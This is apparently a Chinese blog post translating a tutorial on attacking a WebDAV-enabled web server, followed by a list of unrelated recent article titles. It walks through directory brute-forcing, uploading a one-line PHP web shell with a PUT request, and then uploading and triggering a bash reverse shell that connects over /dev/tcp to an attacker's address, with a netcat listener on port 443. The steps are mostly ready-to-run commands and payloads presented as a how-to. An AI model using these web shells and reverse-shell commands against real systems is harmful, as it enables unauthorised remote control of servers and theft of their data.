PHP Backdoor + Reverse Shell on Vulnerable Website
2024-04-10 15:06:22
翻译总结自：
https://shellgam3.com/2016/07/27/php-backdoor-reverse-shell-on-vulnerable-website/
扫描Web服务器，爆破常见目录
dirb http://xxxxxxxx
proxychains curl -X OPTIONS -v http://X.X.X.X/test/
上面的请求应该是 WebDAV 服务器. 使用 “PUT” 方法可以上传文件
比如一句话：<?php echo system($_GET[“cmd”]); ?>
上传文件：
proxychains curl --upload-file /root/Desktop/cmd.php -v --url http://X.X.X.X/test/cmd.php -0 --http1.0
浏览器访问：X.X.X.X/test/cmd.php?cmd=ls%20/
上传一个反弹shell
exec 5<>/dev/tcp/xxx.xxx.xxx.xxx/443
cat <&5 | while read line; do $line 2>&5 >&5; done
proxychains curl --upload-file /root/Desktop/bash_shell.sh -v --url http://X.X.X.X/test/shell.sh -0 --http1.0
本机监听端口，比如netcat：sudo nc -v -l -p 443
浏览器访问：X.X.X.X/test/cmd.php?cmd=bash shell.sh
最新文章
- Hyper-V1：创建和管理虚拟机
- 微信支付curl出错及错误码解决方案
- linux下驱动webcam
- float 和 inline-block的心得
- 源代码管理工具（上）-SVN基本使用
- HTML5与移动端web学习笔记
- ASP.Net Core-TagHelpers
- apache在windows上开启gzip的方法
- Curly braces in Python in 2012? - Stack Overflow
- log4net使用注意事项
- 聊天机器人（基于android）
- 冒泡排序 & 选择排序（升序）
- 9宫拼图小游戏（WPF MVVM实现）
- 查漏补缺之——Java多线程
- mybatis多表关联查询之resultMap单个对象
- transform子元素，绝对定位失效
- 使用python绘出常见函数
- DES对称加密
- SQL SERVER数据库升级手册
- 打开IPHONE的sms.db短信文件 方法